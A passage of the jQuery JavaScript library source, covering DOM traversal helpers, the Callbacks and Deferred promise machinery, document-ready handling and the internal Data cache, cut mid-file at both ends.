}
|
|
} );
|
|
|
|
function sibling( cur, dir ) {
|
|
while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}
|
|
return cur;
|
|
}
|
|
|
|
jQuery.each( {
|
|
parent: function( elem ) {
|
|
var parent = elem.parentNode;
|
|
return parent && parent.nodeType !== 11 ? parent : null;
|
|
},
|
|
parents: function( elem ) {
|
|
return dir( elem, "parentNode" );
|
|
},
|
|
parentsUntil: function( elem, i, until ) {
|
|
return dir( elem, "parentNode", until );
|
|
},
|
|
next: function( elem ) {
|
|
return sibling( elem, "nextSibling" );
|
|
},
|
|
prev: function( elem ) {
|
|
return sibling( elem, "previousSibling" );
|
|
},
|
|
nextAll: function( elem ) {
|
|
return dir( elem, "nextSibling" );
|
|
},
|
|
prevAll: function( elem ) {
|
|
return dir( elem, "previousSibling" );
|
|
},
|
|
nextUntil: function( elem, i, until ) {
|
|
return dir( elem, "nextSibling", until );
|
|
},
|
|
prevUntil: function( elem, i, until ) {
|
|
return dir( elem, "previousSibling", until );
|
|
},
|
|
siblings: function( elem ) {
|
|
return siblings( ( elem.parentNode || {} ).firstChild, elem );
|
|
},
|
|
children: function( elem ) {
|
|
return siblings( elem.firstChild );
|
|
},
|
|
contents: function( elem ) {
|
|
if ( nodeName( elem, "iframe" ) ) {
|
|
return elem.contentDocument;
|
|
}
|
|
|
|
// Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only
|
|
// Treat the template element as a regular one in browsers that
|
|
// don't support it.
|
|
if ( nodeName( elem, "template" ) ) {
|
|
elem = elem.content || elem;
|
|
}
|
|
|
|
return jQuery.merge( [], elem.childNodes );
|
|
}
|
|
}, function( name, fn ) {
|
|
jQuery.fn[ name ] = function( until, selector ) {
|
|
var matched = jQuery.map( this, fn, until );
|
|
|
|
if ( name.slice( -5 ) !== "Until" ) {
|
|
selector = until;
|
|
}
|
|
|
|
if ( selector && typeof selector === "string" ) {
|
|
matched = jQuery.filter( selector, matched );
|
|
}
|
|
|
|
if ( this.length > 1 ) {
|
|
|
|
// Remove duplicates
|
|
if ( !guaranteedUnique[ name ] ) {
|
|
jQuery.uniqueSort( matched );
|
|
}
|
|
|
|
// Reverse order for parents* and prev-derivatives
|
|
if ( rparentsprev.test( name ) ) {
|
|
matched.reverse();
|
|
}
|
|
}
|
|
|
|
return this.pushStack( matched );
|
|
};
|
|
} );
|
|
var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
|
|
|
|
|
|
|
|
// Convert String-formatted options into Object-formatted ones
|
|
function createOptions( options ) {
|
|
var object = {};
|
|
jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {
|
|
object[ flag ] = true;
|
|
} );
|
|
return object;
|
|
}
|
|
|
|
/*
|
|
* Create a callback list using the following parameters:
|
|
*
|
|
* options: an optional list of space-separated options that will change how
|
|
* the callback list behaves or a more traditional option object
|
|
*
|
|
* By default a callback list will act like an event callback list and can be
|
|
* "fired" multiple times.
|
|
*
|
|
* Possible options:
|
|
*
|
|
* once: will ensure the callback list can only be fired once (like a Deferred)
|
|
*
|
|
* memory: will keep track of previous values and will call any callback added
|
|
* after the list has been fired right away with the latest "memorized"
|
|
* values (like a Deferred)
|
|
*
|
|
* unique: will ensure a callback can only be added once (no duplicate in the list)
|
|
*
|
|
* stopOnFalse: interrupt callings when a callback returns false
|
|
*
|
|
*/
|
|
jQuery.Callbacks = function( options ) {
|
|
|
|
// Convert options from String-formatted to Object-formatted if needed
|
|
// (we check in cache first)
|
|
options = typeof options === "string" ?
|
|
createOptions( options ) :
|
|
jQuery.extend( {}, options );
|
|
|
|
var // Flag to know if list is currently firing
|
|
firing,
|
|
|
|
// Last fire value for non-forgettable lists
|
|
memory,
|
|
|
|
// Flag to know if list was already fired
|
|
fired,
|
|
|
|
// Flag to prevent firing
|
|
locked,
|
|
|
|
// Actual callback list
|
|
list = [],
|
|
|
|
// Queue of execution data for repeatable lists
|
|
queue = [],
|
|
|
|
// Index of currently firing callback (modified by add/remove as needed)
|
|
firingIndex = -1,
|
|
|
|
// Fire callbacks
|
|
fire = function() {
|
|
|
|
// Enforce single-firing
|
|
locked = locked || options.once;
|
|
|
|
// Execute callbacks for all pending executions,
|
|
// respecting firingIndex overrides and runtime changes
|
|
fired = firing = true;
|
|
for ( ; queue.length; firingIndex = -1 ) {
|
|
memory = queue.shift();
|
|
while ( ++firingIndex < list.length ) {
|
|
|
|
// Run callback and check for early termination
|
|
if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
|
|
options.stopOnFalse ) {
|
|
|
|
// Jump to end and forget the data so .add doesn't re-fire
|
|
firingIndex = list.length;
|
|
memory = false;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Forget the data if we're done with it
|
|
if ( !options.memory ) {
|
|
memory = false;
|
|
}
|
|
|
|
firing = false;
|
|
|
|
// Clean up if we're done firing for good
|
|
if ( locked ) {
|
|
|
|
// Keep an empty list if we have data for future add calls
|
|
if ( memory ) {
|
|
list = [];
|
|
|
|
// Otherwise, this object is spent
|
|
} else {
|
|
list = "";
|
|
}
|
|
}
|
|
},
|
|
|
|
// Actual Callbacks object
|
|
self = {
|
|
|
|
// Add a callback or a collection of callbacks to the list
|
|
add: function() {
|
|
if ( list ) {
|
|
|
|
// If we have memory from a past run, we should fire after adding
|
|
if ( memory && !firing ) {
|
|
firingIndex = list.length - 1;
|
|
queue.push( memory );
|
|
}
|
|
|
|
( function add( args ) {
|
|
jQuery.each( args, function( _, arg ) {
|
|
if ( isFunction( arg ) ) {
|
|
if ( !options.unique || !self.has( arg ) ) {
|
|
list.push( arg );
|
|
}
|
|
} else if ( arg && arg.length && toType( arg ) !== "string" ) {
|
|
|
|
// Inspect recursively
|
|
add( arg );
|
|
}
|
|
} );
|
|
} )( arguments );
|
|
|
|
if ( memory && !firing ) {
|
|
fire();
|
|
}
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Remove a callback from the list
|
|
remove: function() {
|
|
jQuery.each( arguments, function( _, arg ) {
|
|
var index;
|
|
while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
|
|
list.splice( index, 1 );
|
|
|
|
// Handle firing indexes
|
|
if ( index <= firingIndex ) {
|
|
firingIndex--;
|
|
}
|
|
}
|
|
} );
|
|
return this;
|
|
},
|
|
|
|
// Check if a given callback is in the list.
|
|
// If no argument is given, return whether or not list has callbacks attached.
|
|
has: function( fn ) {
|
|
return fn ?
|
|
jQuery.inArray( fn, list ) > -1 :
|
|
list.length > 0;
|
|
},
|
|
|
|
// Remove all callbacks from the list
|
|
empty: function() {
|
|
if ( list ) {
|
|
list = [];
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Disable .fire and .add
|
|
// Abort any current/pending executions
|
|
// Clear all callbacks and values
|
|
disable: function() {
|
|
locked = queue = [];
|
|
list = memory = "";
|
|
return this;
|
|
},
|
|
disabled: function() {
|
|
return !list;
|
|
},
|
|
|
|
// Disable .fire
|
|
// Also disable .add unless we have memory (since it would have no effect)
|
|
// Abort any pending executions
|
|
lock: function() {
|
|
locked = queue = [];
|
|
if ( !memory && !firing ) {
|
|
list = memory = "";
|
|
}
|
|
return this;
|
|
},
|
|
locked: function() {
|
|
return !!locked;
|
|
},
|
|
|
|
// Call all callbacks with the given context and arguments
|
|
fireWith: function( context, args ) {
|
|
if ( !locked ) {
|
|
args = args || [];
|
|
args = [ context, args.slice ? args.slice() : args ];
|
|
queue.push( args );
|
|
if ( !firing ) {
|
|
fire();
|
|
}
|
|
}
|
|
return this;
|
|
},
|
|
|
|
// Call all the callbacks with the given arguments
|
|
fire: function() {
|
|
self.fireWith( this, arguments );
|
|
return this;
|
|
},
|
|
|
|
// To know if the callbacks have already been called at least once
|
|
fired: function() {
|
|
return !!fired;
|
|
}
|
|
};
|
|
|
|
return self;
|
|
};
|
|
|
|
|
|
function Identity( v ) {
|
|
return v;
|
|
}
|
|
function Thrower( ex ) {
|
|
throw ex;
|
|
}
|
|
|
|
function adoptValue( value, resolve, reject, noValue ) {
|
|
var method;
|
|
|
|
try {
|
|
|
|
// Check for promise aspect first to privilege synchronous behavior
|
|
if ( value && isFunction( ( method = value.promise ) ) ) {
|
|
method.call( value ).done( resolve ).fail( reject );
|
|
|
|
// Other thenables
|
|
} else if ( value && isFunction( ( method = value.then ) ) ) {
|
|
method.call( value, resolve, reject );
|
|
|
|
// Other non-thenables
|
|
} else {
|
|
|
|
// Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer:
|
|
// * false: [ value ].slice( 0 ) => resolve( value )
|
|
// * true: [ value ].slice( 1 ) => resolve()
|
|
resolve.apply( undefined, [ value ].slice( noValue ) );
|
|
}
|
|
|
|
// For Promises/A+, convert exceptions into rejections
|
|
// Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in
|
|
// Deferred#then to conditionally suppress rejection.
|
|
} catch ( value ) {
|
|
|
|
// Support: Android 4.0 only
|
|
// Strict mode functions invoked without .call/.apply get global-object context
|
|
reject.apply( undefined, [ value ] );
|
|
}
|
|
}
|
|
|
|
jQuery.extend( {
|
|
|
|
Deferred: function( func ) {
|
|
var tuples = [
|
|
|
|
// action, add listener, callbacks,
|
|
// ... .then handlers, argument index, [final state]
|
|
[ "notify", "progress", jQuery.Callbacks( "memory" ),
|
|
jQuery.Callbacks( "memory" ), 2 ],
|
|
[ "resolve", "done", jQuery.Callbacks( "once memory" ),
|
|
jQuery.Callbacks( "once memory" ), 0, "resolved" ],
|
|
[ "reject", "fail", jQuery.Callbacks( "once memory" ),
|
|
jQuery.Callbacks( "once memory" ), 1, "rejected" ]
|
|
],
|
|
state = "pending",
|
|
promise = {
|
|
state: function() {
|
|
return state;
|
|
},
|
|
always: function() {
|
|
deferred.done( arguments ).fail( arguments );
|
|
return this;
|
|
},
|
|
"catch": function( fn ) {
|
|
return promise.then( null, fn );
|
|
},
|
|
|
|
// Keep pipe for back-compat
|
|
pipe: function( /* fnDone, fnFail, fnProgress */ ) {
|
|
var fns = arguments;
|
|
|
|
return jQuery.Deferred( function( newDefer ) {
|
|
jQuery.each( tuples, function( i, tuple ) {
|
|
|
|
// Map tuples (progress, done, fail) to arguments (done, fail, progress)
|
|
var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ];
|
|
|
|
// deferred.progress(function() { bind to newDefer or newDefer.notify })
|
|
// deferred.done(function() { bind to newDefer or newDefer.resolve })
|
|
// deferred.fail(function() { bind to newDefer or newDefer.reject })
|
|
deferred[ tuple[ 1 ] ]( function() {
|
|
var returned = fn && fn.apply( this, arguments );
|
|
if ( returned && isFunction( returned.promise ) ) {
|
|
returned.promise()
|
|
.progress( newDefer.notify )
|
|
.done( newDefer.resolve )
|
|
.fail( newDefer.reject );
|
|
} else {
|
|
newDefer[ tuple[ 0 ] + "With" ](
|
|
this,
|
|
fn ? [ returned ] : arguments
|
|
);
|
|
}
|
|
} );
|
|
} );
|
|
fns = null;
|
|
} ).promise();
|
|
},
|
|
then: function( onFulfilled, onRejected, onProgress ) {
|
|
var maxDepth = 0;
|
|
function resolve( depth, deferred, handler, special ) {
|
|
return function() {
|
|
var that = this,
|
|
args = arguments,
|
|
mightThrow = function() {
|
|
var returned, then;
|
|
|
|
// Support: Promises/A+ section 2.3.3.3.3
|
|
// https://promisesaplus.com/#point-59
|
|
// Ignore double-resolution attempts
|
|
if ( depth < maxDepth ) {
|
|
return;
|
|
}
|
|
|
|
returned = handler.apply( that, args );
|
|
|
|
// Support: Promises/A+ section 2.3.1
|
|
// https://promisesaplus.com/#point-48
|
|
if ( returned === deferred.promise() ) {
|
|
throw new TypeError( "Thenable self-resolution" );
|
|
}
|
|
|
|
// Support: Promises/A+ sections 2.3.3.1, 3.5
|
|
// https://promisesaplus.com/#point-54
|
|
// https://promisesaplus.com/#point-75
|
|
// Retrieve `then` only once
|
|
then = returned &&
|
|
|
|
// Support: Promises/A+ section 2.3.4
|
|
// https://promisesaplus.com/#point-64
|
|
// Only check objects and functions for thenability
|
|
( typeof returned === "object" ||
|
|
typeof returned === "function" ) &&
|
|
returned.then;
|
|
|
|
// Handle a returned thenable
|
|
if ( isFunction( then ) ) {
|
|
|
|
// Special processors (notify) just wait for resolution
|
|
if ( special ) {
|
|
then.call(
|
|
returned,
|
|
resolve( maxDepth, deferred, Identity, special ),
|
|
resolve( maxDepth, deferred, Thrower, special )
|
|
);
|
|
|
|
// Normal processors (resolve) also hook into progress
|
|
} else {
|
|
|
|
// ...and disregard older resolution values
|
|
maxDepth++;
|
|
|
|
then.call(
|
|
returned,
|
|
resolve( maxDepth, deferred, Identity, special ),
|
|
resolve( maxDepth, deferred, Thrower, special ),
|
|
resolve( maxDepth, deferred, Identity,
|
|
deferred.notifyWith )
|
|
);
|
|
}
|
|
|
|
// Handle all other returned values
|
|
} else {
|
|
|
|
// Only substitute handlers pass on context
|
|
// and multiple values (non-spec behavior)
|
|
if ( handler !== Identity ) {
|
|
that = undefined;
|
|
args = [ returned ];
|
|
}
|
|
|
|
// Process the value(s)
|
|
// Default process is resolve
|
|
( special || deferred.resolveWith )( that, args );
|
|
}
|
|
},
|
|
|
|
// Only normal processors (resolve) catch and reject exceptions
|
|
process = special ?
|
|
mightThrow :
|
|
function() {
|
|
try {
|
|
mightThrow();
|
|
} catch ( e ) {
|
|
|
|
if ( jQuery.Deferred.exceptionHook ) {
|
|
jQuery.Deferred.exceptionHook( e,
|
|
process.stackTrace );
|
|
}
|
|
|
|
// Support: Promises/A+ section 2.3.3.3.4.1
|
|
// https://promisesaplus.com/#point-61
|
|
// Ignore post-resolution exceptions
|
|
if ( depth + 1 >= maxDepth ) {
|
|
|
|
// Only substitute handlers pass on context
|
|
// and multiple values (non-spec behavior)
|
|
if ( handler !== Thrower ) {
|
|
that = undefined;
|
|
args = [ e ];
|
|
}
|
|
|
|
deferred.rejectWith( that, args );
|
|
}
|
|
}
|
|
};
|
|
|
|
// Support: Promises/A+ section 2.3.3.3.1
|
|
// https://promisesaplus.com/#point-57
|
|
// Re-resolve promises immediately to dodge false rejection from
|
|
// subsequent errors
|
|
if ( depth ) {
|
|
process();
|
|
} else {
|
|
|
|
// Call an optional hook to record the stack, in case of exception
|
|
// since it's otherwise lost when execution goes async
|
|
if ( jQuery.Deferred.getStackHook ) {
|
|
process.stackTrace = jQuery.Deferred.getStackHook();
|
|
}
|
|
window.setTimeout( process );
|
|
}
|
|
};
|
|
}
|
|
|
|
return jQuery.Deferred( function( newDefer ) {
|
|
|
|
// progress_handlers.add( ... )
|
|
tuples[ 0 ][ 3 ].add(
|
|
resolve(
|
|
0,
|
|
newDefer,
|
|
isFunction( onProgress ) ?
|
|
onProgress :
|
|
Identity,
|
|
newDefer.notifyWith
|
|
)
|
|
);
|
|
|
|
// fulfilled_handlers.add( ... )
|
|
tuples[ 1 ][ 3 ].add(
|
|
resolve(
|
|
0,
|
|
newDefer,
|
|
isFunction( onFulfilled ) ?
|
|
onFulfilled :
|
|
Identity
|
|
)
|
|
);
|
|
|
|
// rejected_handlers.add( ... )
|
|
tuples[ 2 ][ 3 ].add(
|
|
resolve(
|
|
0,
|
|
newDefer,
|
|
isFunction( onRejected ) ?
|
|
onRejected :
|
|
Thrower
|
|
)
|
|
);
|
|
} ).promise();
|
|
},
|
|
|
|
// Get a promise for this deferred
|
|
// If obj is provided, the promise aspect is added to the object
|
|
promise: function( obj ) {
|
|
return obj != null ? jQuery.extend( obj, promise ) : promise;
|
|
}
|
|
},
|
|
deferred = {};
|
|
|
|
// Add list-specific methods
|
|
jQuery.each( tuples, function( i, tuple ) {
|
|
var list = tuple[ 2 ],
|
|
stateString = tuple[ 5 ];
|
|
|
|
// promise.progress = list.add
|
|
// promise.done = list.add
|
|
// promise.fail = list.add
|
|
promise[ tuple[ 1 ] ] = list.add;
|
|
|
|
// Handle state
|
|
if ( stateString ) {
|
|
list.add(
|
|
function() {
|
|
|
|
// state = "resolved" (i.e., fulfilled)
|
|
// state = "rejected"
|
|
state = stateString;
|
|
},
|
|
|
|
// rejected_callbacks.disable
|
|
// fulfilled_callbacks.disable
|
|
tuples[ 3 - i ][ 2 ].disable,
|
|
|
|
// rejected_handlers.disable
|
|
// fulfilled_handlers.disable
|
|
tuples[ 3 - i ][ 3 ].disable,
|
|
|
|
// progress_callbacks.lock
|
|
tuples[ 0 ][ 2 ].lock,
|
|
|
|
// progress_handlers.lock
|
|
tuples[ 0 ][ 3 ].lock
|
|
);
|
|
}
|
|
|
|
// progress_handlers.fire
|
|
// fulfilled_handlers.fire
|
|
// rejected_handlers.fire
|
|
list.add( tuple[ 3 ].fire );
|
|
|
|
// deferred.notify = function() { deferred.notifyWith(...) }
|
|
// deferred.resolve = function() { deferred.resolveWith(...) }
|
|
// deferred.reject = function() { deferred.rejectWith(...) }
|
|
deferred[ tuple[ 0 ] ] = function() {
|
|
deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments );
|
|
return this;
|
|
};
|
|
|
|
// deferred.notifyWith = list.fireWith
|
|
// deferred.resolveWith = list.fireWith
|
|
// deferred.rejectWith = list.fireWith
|
|
deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
|
|
} );
|
|
|
|
// Make the deferred a promise
|
|
promise.promise( deferred );
|
|
|
|
// Call given func if any
|
|
if ( func ) {
|
|
func.call( deferred, deferred );
|
|
}
|
|
|
|
// All done!
|
|
return deferred;
|
|
},
|
|
|
|
// Deferred helper
|
|
when: function( singleValue ) {
|
|
var
|
|
|
|
// count of uncompleted subordinates
|
|
remaining = arguments.length,
|
|
|
|
// count of unprocessed arguments
|
|
i = remaining,
|
|
|
|
// subordinate fulfillment data
|
|
resolveContexts = Array( i ),
|
|
resolveValues = slice.call( arguments ),
|
|
|
|
// the master Deferred
|
|
master = jQuery.Deferred(),
|
|
|
|
// subordinate callback factory
|
|
updateFunc = function( i ) {
|
|
return function( value ) {
|
|
resolveContexts[ i ] = this;
|
|
resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
|
|
if ( !( --remaining ) ) {
|
|
master.resolveWith( resolveContexts, resolveValues );
|
|
}
|
|
};
|
|
};
|
|
|
|
// Single- and empty arguments are adopted like Promise.resolve
|
|
if ( remaining <= 1 ) {
|
|
adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject,
|
|
!remaining );
|
|
|
|
// Use .then() to unwrap secondary thenables (cf. gh-3000)
|
|
if ( master.state() === "pending" ||
|
|
isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {
|
|
|
|
return master.then();
|
|
}
|
|
}
|
|
|
|
// Multiple arguments are aggregated like Promise.all array elements
|
|
while ( i-- ) {
|
|
adoptValue( resolveValues[ i ], updateFunc( i ), master.reject );
|
|
}
|
|
|
|
return master.promise();
|
|
}
|
|
} );
|
|
|
|
|
|
// These usually indicate a programmer mistake during development,
|
|
// warn about them ASAP rather than swallowing them by default.
|
|
var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;
|
|
|
|
jQuery.Deferred.exceptionHook = function( error, stack ) {
|
|
|
|
// Support: IE 8 - 9 only
|
|
// Console exists when dev tools are open, which can happen at any time
|
|
if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {
|
|
window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack );
|
|
}
|
|
};
|
|
|
|
|
|
|
|
|
|
jQuery.readyException = function( error ) {
|
|
window.setTimeout( function() {
|
|
throw error;
|
|
} );
|
|
};
|
|
|
|
|
|
|
|
|
|
// The deferred used on DOM ready
|
|
var readyList = jQuery.Deferred();
|
|
|
|
jQuery.fn.ready = function( fn ) {
|
|
|
|
readyList
|
|
.then( fn )
|
|
|
|
// Wrap jQuery.readyException in a function so that the lookup
|
|
// happens at the time of error handling instead of callback
|
|
// registration.
|
|
.catch( function( error ) {
|
|
jQuery.readyException( error );
|
|
} );
|
|
|
|
return this;
|
|
};
|
|
|
|
jQuery.extend( {
|
|
|
|
// Is the DOM ready to be used? Set to true once it occurs.
|
|
isReady: false,
|
|
|
|
// A counter to track how many items to wait for before
|
|
// the ready event fires. See #6781
|
|
readyWait: 1,
|
|
|
|
// Handle when the DOM is ready
|
|
ready: function( wait ) {
|
|
|
|
// Abort if there are pending holds or we're already ready
|
|
if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
|
|
return;
|
|
}
|
|
|
|
// Remember that the DOM is ready
|
|
jQuery.isReady = true;
|
|
|
|
// If a normal DOM Ready event fired, decrement, and wait if need be
|
|
if ( wait !== true && --jQuery.readyWait > 0 ) {
|
|
return;
|
|
}
|
|
|
|
// If there are functions bound, to execute
|
|
readyList.resolveWith( document, [ jQuery ] );
|
|
}
|
|
} );
|
|
|
|
jQuery.ready.then = readyList.then;
|
|
|
|
// The ready event handler and self cleanup method
|
|
function completed() {
|
|
document.removeEventListener( "DOMContentLoaded", completed );
|
|
window.removeEventListener( "load", completed );
|
|
jQuery.ready();
|
|
}
|
|
|
|
// Catch cases where $(document).ready() is called
|
|
// after the browser event has already occurred.
|
|
// Support: IE <=9 - 10 only
|
|
// Older IE sometimes signals "interactive" too soon
|
|
if ( document.readyState === "complete" ||
|
|
( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {
|
|
|
|
// Handle it asynchronously to allow scripts the opportunity to delay ready
|
|
window.setTimeout( jQuery.ready );
|
|
|
|
} else {
|
|
|
|
// Use the handy event callback
|
|
document.addEventListener( "DOMContentLoaded", completed );
|
|
|
|
// A fallback to window.onload, that will always work
|
|
window.addEventListener( "load", completed );
|
|
}
|
|
|
|
|
|
|
|
|
|
// Multifunctional method to get and set values of a collection
|
|
// The value/s can optionally be executed if it's a function
|
|
var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
|
|
var i = 0,
|
|
len = elems.length,
|
|
bulk = key == null;
|
|
|
|
// Sets many values
|
|
if ( toType( key ) === "object" ) {
|
|
chainable = true;
|
|
for ( i in key ) {
|
|
access( elems, fn, i, key[ i ], true, emptyGet, raw );
|
|
}
|
|
|
|
// Sets one value
|
|
} else if ( value !== undefined ) {
|
|
chainable = true;
|
|
|
|
if ( !isFunction( value ) ) {
|
|
raw = true;
|
|
}
|
|
|
|
if ( bulk ) {
|
|
|
|
// Bulk operations run against the entire set
|
|
if ( raw ) {
|
|
fn.call( elems, value );
|
|
fn = null;
|
|
|
|
// ...except when executing function values
|
|
} else {
|
|
bulk = fn;
|
|
fn = function( elem, key, value ) {
|
|
return bulk.call( jQuery( elem ), value );
|
|
};
|
|
}
|
|
}
|
|
|
|
if ( fn ) {
|
|
for ( ; i < len; i++ ) {
|
|
fn(
|
|
elems[ i ], key, raw ?
|
|
value :
|
|
value.call( elems[ i ], i, fn( elems[ i ], key ) )
|
|
);
|
|
}
|
|
}
|
|
}
|
|
|
|
if ( chainable ) {
|
|
return elems;
|
|
}
|
|
|
|
// Gets
|
|
if ( bulk ) {
|
|
return fn.call( elems );
|
|
}
|
|
|
|
return len ? fn( elems[ 0 ], key ) : emptyGet;
|
|
};
|
|
|
|
|
|
// Matches dashed string for camelizing
|
|
var rmsPrefix = /^-ms-/,
|
|
rdashAlpha = /-([a-z])/g;
|
|
|
|
// Used by camelCase as callback to replace()
|
|
function fcamelCase( all, letter ) {
|
|
return letter.toUpperCase();
|
|
}
|
|
|
|
// Convert dashed to camelCase; used by the css and data modules
|
|
// Support: IE <=9 - 11, Edge 12 - 15
|
|
// Microsoft forgot to hump their vendor prefix (#9572)
|
|
function camelCase( string ) {
|
|
return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
|
|
}
|
|
var acceptData = function( owner ) {
|
|
|
|
// Accepts only:
|
|
// - Node
|
|
// - Node.ELEMENT_NODE
|
|
// - Node.DOCUMENT_NODE
|
|
// - Object
|
|
// - Any
|
|
return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
|
|
};
|
|
|
|
|
|
|
|
|
|
function Data() {
|
|
this.expando = jQuery.expando + Data.uid++;
|
|
}
|
|
|
|
Data.uid = 1;
|
|
|
|
Data.prototype = {
|
|
|
|
cache: function( owner ) {
|
|
|
|
// Check if the owner object already has a cache
|
|
var value = owner[ this.expando ];
|
|
|
|
// If not, create one
|
|
if ( !value ) {
|
|
value = {};
|
|
|
|
// We can accept data for non-element nodes in modern browsers,
|
|
// but we should not, see #8335.
|
|
// Always return an empty object.
|
|
if ( acceptData( owner ) ) {
|
|
|
|
// If it is a node unlikely to be stringify-ed or looped over
|
|
// use plain assignment
|
|
if ( owner.nodeType ) {
|
|
owner[ this.expando ] = value;
|
|
|
|
// Otherwise secure it in a non-enumerable property
|
|
// configurable must be true to allow the property to be
|
|
// deleted when data is removed
|
|
} else {
|
|
Object.defineProperty( owner, this.expando, {
|
|
value: value,
|
|
configurable: true
|
|
} );
|
|
}
|
|
}
|
|
}
|
|
|
|
return value;
|
|
},
|
|
set: function( owner, data, value ) {
|
|
var prop,
|
|
cache = this.cache( owner );
|
|
|
|
// Handle: [ owner, key, value ] args
|
|
// Always use camelCase key (gh-2257)
|
|
if ( typeof data === "string" ) {
|
|
cache[ camelCase( data ) ] = value;
|
|
|
|
// Handle: [ owner, { properties } ] args
|
|
} else {
|
|
|
|
// Copy the properties one-by-one to the cache object
|
|
for ( prop in data ) {
|
|
cache[ camelCase( prop ) ] = data[ prop ];
|
|
}
|
|
}
|
|
return cache;
|
|
},
|
|
get: function( owner, key ) {
|
|
return key === undefined ?
|
|
this.cache( owner ) :
|
|
|
|
// Always use camelCase key (gh-2257)
|
|
owner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];
|
|
},
|
|
access: function( owner, key, value ) {
|
|
|
|
// In cases where either:
|
|
//
|
|
// 1. No key was specified
|
|
// 2. A string key was specified, but no value provided
|
|
//
|
|
// Take the "read" path and allow the get method to determine
|
|
// which value to return, respectively either:
|
|
//
|
|
// 1. The entire cache object
|
|
// 2. The data stored at the key
|
|
//
|
|
if ( key === undefined ||
|
|
( ( key && typeof key === "string" ) && value === undefined ) ) {
|
|
|
|
return this.get( owner, key );
|
|
}
|
|
|
|
// When the key is not a string, or both a key and value
|
|
// are specified, set or extend (existing objects) with either:
|
|
//
|
|
// 1. An object of properties
|
|
// 2. A key and value
|
|
//
|
|
this.set( owner, key, value );
|
|
|
|
// Since the "set" path can have two possible entry points
|
|
// return the expected data based on which path was taken[*]
|
|
return value !== undefined ? value : key;
|
|
},
|
|
remove: function( owner, key ) {
|
|
var i,
|
|
cache = owner[ this.expando ];
|
|
|
|
if ( cache === undefined ) {
|
|
return;
|
|
}
|
|
|
|
if ( key !== undefined ) {
|
|
|
|
// Support array or space separated string of keys
|
|
if ( Array.isArray( key ) ) {
|
|
|
|
// If key is an array of keys...
|
|
// We always set camelCase keys, so remove that.
|
|
key = key.map( camelCase );
|
|
} else {
|
|
key = camelCase( key );
|
|
|
|
// If a key with the spaces exists, use it.
|
|
// Otherwise, create an array by matching non-whitespace
|
|
key = key in cache ?
|
|
[ key ] :
|
|
( key.match( rnothtmlwhite ) || [] );
|
|
}
|
|
|
|
i = key.length;
|
|
|
|
while ( i-- ) {
|
|
delete cache[ key[ i ] ];
|
|
}
|
|
}
|
|
|
|
// Remove the expando if there's no more data
|
|
if ( key === undefined || jQuery.isEmptyObject( cache ) ) {
|
|
|
|
// Support: Chrome <=35 - 45
|
|
// Webkit & Blink performance suffers when deleting properties
|
|
// from DOM nodes, so set to undefined instead
|
|
// https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)
|
|
if ( owner.nodeType ) {
|
|
owner[ this.expando ] = undefined;
|
|
} else {
|
|
delete owner[ this.expando ];
|
|
}
|
|
}
|
|
},
|
|
hasData: function( owner ) {
|
|
var cache = owner[ this.expando ];
|
|
return cache !== undefined && !jQuery.isEmptyObject( cache );
|
|
}
|
|
};
|
|
var dataPriv = new Data();
|
|
|
|
var dataUser = new Data();
|
|
|
|
|
|
|
|
// Implementation Summary
|
|
//
|
|
// 1. Enforce API surface and semantic compatibility with 1.9.x branch
|
|
// 2. Improve the module's maintainability by reducing the storage
|
|
// paths to a single mechanism.
|
|
// 3. Use the same single mechanism to support "private" and "user" data.
|
|
// 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData)
|
|
// 5. Avoid exposing implementation details on user objects (eg. expando properties)
|
|
// 6. Provide a clear path for implementation upgrade to WeakMap in 2014
|
|
|
|
var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
|
|
rmultiDash = /[A-Z]/g;
|
|
|
|
function getData( data ) {
|
|
if ( data === "true" ) {
|
|
return true;
|
|
}
|
|
|
|
if ( data === "false" ) {
|
|
return false;
|
|
}
|
|
|
|
if ( data === "null" ) {
|
|
return null;
|
|
}
|
|
|
|
// Only convert to a number if it doesn't change the string
|
|
if ( data === +data + "" ) {
|
|
return +data;
|
|
}
|
|
|
|
if ( rbrace.test( data ) ) {
|
|
return JSON.parse( data );
|
|
}
|
|
|
|
return data;
|
|
}
|
|
|
|
function dataAttr( elem, key, data ) {
|
|
var name;
|
|
|
|
// If nothing was found internally, try to fetch any
|
|
// data from the HTML5 data-* attribute
|
|
if ( data === undefined && elem.nodeType === 1 ) {
|
|
name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase();
|
|
data = elem.getAttribute( name );
|
|
|
|
if ( typeof data === "string" ) {
|
|
try {
|
|
data = getData( data );
|
|
} catch ( e ) {}
|
|
|
|
// Make sure we set the data so it isn't changed later
|
|
dataUser.set( elem, key, data );
|
|
} else {
|
|
data = undefined;
|
|
}
|
|
}
|
|
return data;
|
|
}
|
|
|
|
jQuery.extend( {
|
|
hasData: function( elem ) {
|
|
